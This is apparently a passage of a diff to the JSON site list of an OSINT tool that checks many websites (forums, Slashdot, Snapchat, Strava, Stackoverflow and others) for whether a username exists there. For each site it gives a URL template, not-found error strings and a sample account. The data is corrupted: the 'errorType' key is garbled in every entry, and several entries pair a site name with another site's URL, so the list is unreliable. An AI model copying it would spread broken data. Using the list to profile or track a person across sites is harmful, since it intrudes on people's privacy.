    ", + "errorTyp��": "message", + "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sign-forum.ru", + "usernameON": "KalinaAlexandr", + "bad_site": "" + }, + "Signal_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorMsg2": "Signal Community", + "errorTyp��": "message", + "url": "https://community.signalusers.org/u/{}/summary", + "urlMain": "https://community.signalusers.org", + "usernameON": "whatnoww", + "bad_site": "" + }, + "Silver-collector": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.silver-collector.com/u/{}/summary", + "urlMain": "https://www.silver-collector.com", + "usernameON": "red", + "bad_site": "" + }, + "Similarworlds": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://similarworlds.com/{}", + "urlMain": "https://similarworlds.com", + "usernameON": "Messygirl3", + "bad_site": "" + }, + "Skodaforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorMsg3": "FASTPANEL", + "errorTyp��": "message", + "url": "http://www.skodaforum.ru/member.php?username={}", + "urlMain": "http://www.skodaforum.ru", + "usernameON": "rivera", + "comments": "bad", + "bad_site": 1 + }, + "Skyblock": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://skyblock.net/members/?username={}", + "urlMain": "https://skyblock.net", + "usernameON": "noobcrew", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skynetzone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://skynetzone.net/members/?username={}", + "urlMain": "https://skynetzone.net", + "usernameON": "battarismos", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyrimforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://skyrimforum.com/forum/members/?username={}", + "urlMain": "https://skyrimforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyscrapercity": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "redirection", + "url": "https://www.skyscrapercity.com/members/?username={}", + "urlMain": "https://www.skyscrapercity.com", + "usernameON": "adam", + "bad_site": "" + }, + "Slack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.slack.com", + "urlMain": "https://slack.com", + "usernameON": "blue", + "bad_site": "" + }, + "Slamdunk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.slamdunk.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Slashdot": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " - Slashdot User", + "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://slashdot.org/~{}", + "urlMain": "https://slashdot.org", + "usernameON": "adam", + "bad_site": "" + }, + "Slides": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "title>Slides: 404Page no longer exists<", + "errorMsg2": "gen\">01.01.1970", + "errorTyp��": "message", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.smallcar.ru", + "usernameON": "lukey", + "bad_site": "" + }, + "Smart_lab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://smart-lab.ru/profile/{}/", + "urlMain": "https://smart-lab.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Smashcast": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.smashcast.tv/api/media/live/{}", + "urlMain": "https://www.smashcast.tv/", + "usernameON": "hello", + "bad_site": 1 + }, + "Smashrun": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://smashrun.com/{}/", + "urlMain": "https://smashrun.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smogon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.smogon.com/forums/members/?username={}", + "urlMain": "https://www.smogon.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Smolmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://smolmama.com", + "usernameON": "Kisma", + "bad_site": "" + }, + "Smugmug": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://{}.smugmug.com/", + "urlMain": "https://smugmug.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smule": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Right tune, wrong note", + "errorMsg2": "Page Not Found", + "errorTyp��": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Snapchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "usernameON": "adam22hoe", + "bad_site": "" + }, + "Snbforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.snbforums.com/members/?username={}", + "urlMain": "https://www.snbforums.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Snowjapan": { + "country": "🇯🇵", + "country_klas": "JP", + "errorMsg": "Found 0 results", + "errorMsg2": "large ipsType_light'>There were no results for", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.snowjapan.com", + "usernameON": "nisoko", + "bad_site": "" + }, + "Soborno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://soborno.ru", + "usernameON": "arinasha", + "bad_site": "" + }, + "Soc-life.": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://soc-life.com/index/8-0-{}", + "urlMain": "http://soc-life.com", + "usernameON": "Ilona54", + "bad_site": "" + }, + "Sochi_profi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sochi.profi.ru/profile/{}/", + "urlMain": "https://sochi.profi.ru", + "usernameON": "Irina", + "bad_site": "" + }, + "Social_librem": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://social.librem.one/@{}", + "urlMain": "https://social.librem.one", + "usernameON": "adam", + "bad_site": "" + }, + "Social_microsoft": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The resource you are looking for has been removed", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://social.microsoft.com/profile/{}", + "urlMain": "https://social.microsoft.com", + "usernameON": "shartbandiha", + "bad_site": 1 + }, + "Social_tchncs": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "https://social.tchncs.de/@{}", + "urlMain": "https://social.tchncs.de/", + "usernameON": "Milan", + "bad_site": "" + }, + "Socialblade": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://socialblade.com/youtube/user/{}", + "urlMain": "https://socialblade.com", + "usernameON": "fred", + "comments": "cf", + "bad_site": "" + }, + "Socioforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.socioforum.su", + "usernameON": "adam", + "bad_site": "" + }, + "Socionics": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "urlMain": "http://www.socionics.org", + "usernameON": "RWinner", + "comments": "bad", + "bad_site": 1 + }, + "Softboard": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "<p class='ipsType_large ipsType", + "errorTyp��": "message", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://softboard.ru", + "usernameON": "Rambler", + "bad_site": "" + }, + "SoftwareInformer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://users.software.informer.com/{}/", + "urlMain": "https://users.software.informer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Solo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://solo.to/{}", + "urlMain": "https://solo.to", + "usernameON": "red", + "bad_site": "" + }, + "Soloby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>QT Media 404", + "errorMsg2": "Универ soloBY", + "errorTyp��": "message", + "url": "http://www.soloby.ru/user/{}", + "urlMain": "http://www.soloby.ru", + "usernameON": "red", + "comments": "bad", + "bad_site": 1 + }, + "Somersoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.somersoft.com/members/?username={}", + "urlMain": "https://www.somersoft.com", + "usernameON": "johnhenry", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "urlMain": "https://www.sony-club.ru", + "usernameON": "usman161rus", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony_stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Сайт закрыт", + "errorMsg2": "Форум Sony - Stratege.ru", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "urlMain": "https://sony.stratege.ru", + "usernameON": "kalpak", + "bad_site": "" + }, + "Sorento_kia-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://sorento.kia-club.ru/", + "usernameON": "king", + "bad_site": "" + }, + "Sotoguide": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://sotoguide.ru/users/{}/", + "urlMain": "https://sotoguide.ru", + "usernameON": "jura1987g", + "bad_site": 1 + }, + "SoundCloud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Soundex": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://soundex.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Soundgym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "[а-яА-Я]", + "url": "https://www.soundgym.co/member/profile?m={}", + "urlMain": "https://www.soundgym.co", + "usernameON": "raydrcougso", + "bad_site": "" + }, + "Soup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.soup.io/author/{}", + "urlMain": "https://www.soup.io", + "usernameON": "cristina", + "bad_site": "" + }, + "SourceForge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "error-page", + "errorTyp��": "message", + "url": "https://sourceforge.net/u/{}/profile/", + "urlMain": "https://sourceforge.net/", + "usernameON": "blue", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "TE": "trailers", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Sourcewatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "urlMain": "https://www.sourcewatch.org", + "usernameON": "Rebekah_Wilce", + "bad_site": "" + }, + "Southklad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Форум кладоискателей - Юг Клад - Информация", + "errorTyp��": "message", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://southklad.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Soylentnews": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "usernameON": "adam", + "bad_site": "" + }, + "Sp-shopogoliki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sp-shopogoliki.ru", + "usernameON": "sima", + "bad_site": "" + }, + "Spaces": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spaces.im/mysite/index/{}/", + "urlMain": "https://spaces.im", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Spark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spark.ru/startup/{}", + "urlMain": "https://spark.ru", + "usernameON": "green", + "bad_site": "" + }, + "Spartak_msk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Вы не можете произвести поиск сразу", + "errorMsg2": "Информация", + "errorMsg3": "поиска: 0", + "errorTyp��": "message", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spartak.msk.ru", + "usernameON": "malyushenko", + "bad_site": "" + }, + "Spb-projects": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spb-projects.ru", + "usernameON": "Deij", + "bad_site": "" + }, + "Speakerdeck": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "User Not Found", + "errorMsg2": "loige", + "errorMsg3": "mariozaki", + "errorTyp��": "message", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com", + "usernameON": "adam", + "bad_site": "" + }, + "Speedrun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not found.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://speedrun.com/user/{}", + "urlMain": "https://speedrun.com/", + "usernameON": "3Tau", + "bad_site": "" + }, + "Spiceworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/people/{}", + "urlMain": "https://community.spiceworks.co", + "usernameON": "adam", + "bad_site": "" + }, + "Spinchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spinchat.com/hp/{}/", + "urlMain": "https://www.spinchat.com", + "usernameON": "Adam", + "bad_site": "" + }, + "Splatoon_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://splatoonwiki.org/wiki/User:{}", + "urlMain": "https://splatoonwiki.org", + "usernameON": "Hewer", + "bad_site": "" + }, + "Spletenie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Страница не найдена", + "errorMsg2": "
    ", + "errorTyp��": "message", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "urlMain": "https://forum.sportbox.ru", + "usernameON": "Thedolphin", + "bad_site": "" + }, + "Sports": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "%20", + "errorMsg": "Ничего не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sports.ru/search/?query={}", + "urlMain": "https://www.sports.ru/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Sportsjournalists": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sportsjournalists.com/members/?username={}", + "urlMain": "https://www.sportsjournalists.com", + "usernameON": "outofplace", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SportsTracker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\"code\":\"404\"", + "errorMsg2": "Not found", + "errorTyp��": "message", + "url": "https://www.sports-tracker.com/view_profile/{}", + "urlMain": "https://www.sports-tracker.com/", + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Sportstracklive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.sportstracklive.com/en/user/{}", + "urlMain": "https://www.sportstracklive.com", + "usernameON": "PaddyLewtas", + "bad_site": "" + }, + "Spotify_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\t\t0 results", + "errorMsg2": "No search results found", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "urlMain": "https://community.spotify.com", + "usernameON": "adam", + "bad_site": "" + }, + "Sprashivai_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "http://sprashivai.ru/{}?sl", + "urlMain": "http://sprashivai.ru", + "usernameON": "red", + "bad_site": 1 + }, + "Spursarmy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">Ошибка

    ", + "errorMsg2": "Профиль", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://spursarmy.com/profile/{}", + "urlMain": "https://spursarmy.com", + "usernameON": "Sloock", + "bad_site": "" + }, + "SPW": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.spw.ru/members/?username={}", + "urlMain": "https://forum.spw.ru", + "usernameON": "kato", + "ignore_status_code": true, + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SQL": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "begin case_noresults", + "errorMsg3": "<TITLE>Òåõíè÷åñêîå Îáúÿâëåíèå", + "errorTyp��": "message", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "urlMain": "https://www.sql.ru", + "usernameON": "Birkhoff", + "comments": "bad", + "bad_site": 1 + }, + "Srclog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://srclog.com/{}", + "urlMain": "https://srclog.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ssb_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ssbwiki.com/User:{}", + "urlMain": "https://www.ssbwiki.com", + "usernameON": "NotBen", + "bad_site": "" + }, + "Stackexchange": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "urlMain": "https://unix.stackexchange.com", + "usernameON": "telcom", + "bad_site": "" + }, + "Stackoverflow": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "p>No users matched your search", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://stackoverflow.com/users/?search={}", + "urlMain": "https://stackoverflow.com", + "usernameON": "adam", + "bad_site": "" + }, + "Stackoverflow_ES": { + "country": "🇪🇸", + "country_klas": "ES", + "errorMsg": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "urlMain": "https://stalkerbar.at.ua", + "usernameON": "lordsfilmpw", + "bad_site": "" + }, + "Star-girl": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://star-girl.ru", + "usernameON": "Patricia", + "comments": "bad", + "bad_site": "" + }, + "Star_Citizen": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 -", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Steamid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Just a moment", + "errorMsg2": "Cloudflare", + "errorMsg3": "profile information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://steamid.uk/profile/{}", + "urlMain": "https://steamid.uk/", + "comments": "cf", + "usernameON": "blue", + "bad_site": "" + }, + "Stereo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stereo.ru/user/{}", + "urlMain": "https://stereo.ru/", + "usernameON": "Yamiha", + "bad_site": "" + }, + "Sti-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://www.sti-club.su/member.php?username={}", + "urlMain": "http://www.sti-club.su", + "usernameON": "Viktor85", + "bad_site": 1 + }, + "Stihi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Автор не найден", + "errorMsg2": "Поиск авторов", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.stihi.ru/avtor/{}", + "urlMain": "https://www.stihi.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Stop-narko_info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "urlMain": "http://stop-narko.info", + "usernameON": "Ergo", + "bad_site": "" + }, + "Stopgame": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stopgame.ru/user/{}", + "urlMain": "https://stopgame.ru", + "usernameON": "Diml", + "bad_site": "" + }, + "Store_kde": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://store.kde.org/u/{}", + "urlMain": "https://store.kde.org", + "usernameON": "statman", + "bad_site": "" + }, + "Storycorps": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://archive.storycorps.org/user/{}/", + "urlMain": "https://archive.storycorps.org", + "usernameON": "adam", + "bad_site": "" + }, + "Stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум - Stratege.ru", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.stratege.ru/forums/member.php?username={}", + "urlMain": "https://www.stratege.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Strava": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Studfile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://studfile.net/users/{}/", + "urlMain": "https://studfile.net", + "usernameON": "adam", + "bad_site": "" + }, + "Stunited": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://stunited.org/profile/{}", + "urlMain": "http://stunited.org", + "usernameON": "mani-vel", + "bad_site": 1 + }, + "Subeta": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Invalid user", + "errorMsg2": "Error", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subeta.net/users/{}", + "urlMain": "https://subeta.net/", + "usernameON": "Brioche", + "comments": "cf", + "bad_site": "" + }, + "Subforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subforums.net/members/?username={}", + "urlMain": "https://subforums.net", + "usernameON": "romator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Substack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.substack.com/", + "urlMain": "https://substack.com/", + "usernameON": "irina", + "bad_site": "" + }, + "Sugoidesu": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://sugoidesu.net/members/?username={}", + "urlMain": "https://sugoidesu.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suicidegirls": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.suicidegirls.com/members/{}/", + "urlMain": "https://www.suicidegirls.com", + "usernameON": "dtimm87", + "bad_site": "" + }, + "Suomi24": { + "country": "🇫🇮", + "country_klas": "FI", + "errorTyp��": "status_code", + "url": "https://www.suomi24.fi/profiili/{}", + "urlMain": "https://www.suomi24.fi", + "usernameON": "Kilgore", + "bad_site": "" + }, + "Superuser": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search.", + "errorMsg2": "s-empty-state bg-black-025", + "errorTyp��": "message", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "urlMain": "https://superuser.com", + "usernameON": "adam", + "bad_site": "" + }, + "Support_mozilla": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found | Mozilla", + "errorMsg2": "Sorry, we couldn't find the page you were looking for.", + "errorTyp��": "message", + "url": "https://support.mozilla.org/en-US/user/{}", + "urlMain": "https://support.mozilla.org", + "usernameON": "username", + "bad_site": "" + }, + "Suunto_Movescount_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "error=4&", + "errorMsg2": "<title>QT Media 404", + "errorTyp��": "message", + "url": "http://www.movescount.com/ru/members/{}", + "urlMain": "http://www.movescount.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "https://www.suunto.com/" + }, + "Suzuki-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://suzuki-club.ru/members/?username={}", + "urlMain": "https://suzuki-club.ru", + "usernameON": "riphkin", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suzuri": { + "country": "🇯🇵", + "country_klas": "JP", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://suzuri.jp/{}", + "urlMain": "https://suzuri.jp", + "usernameON": "boss", + "bad_site": "" + }, + "Svidbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.svidbook.ru/user/{}/", + "urlMain": "https://www.svidbook.ru/", + "usernameON": "Moon", + "comments": "bad", + "bad_site": 1 + }, + "Sweethome3d": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " Error", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "urlMain": "https://www.sweethome3d.com", + "usernameON": "empereur", + "bad_site": "" + 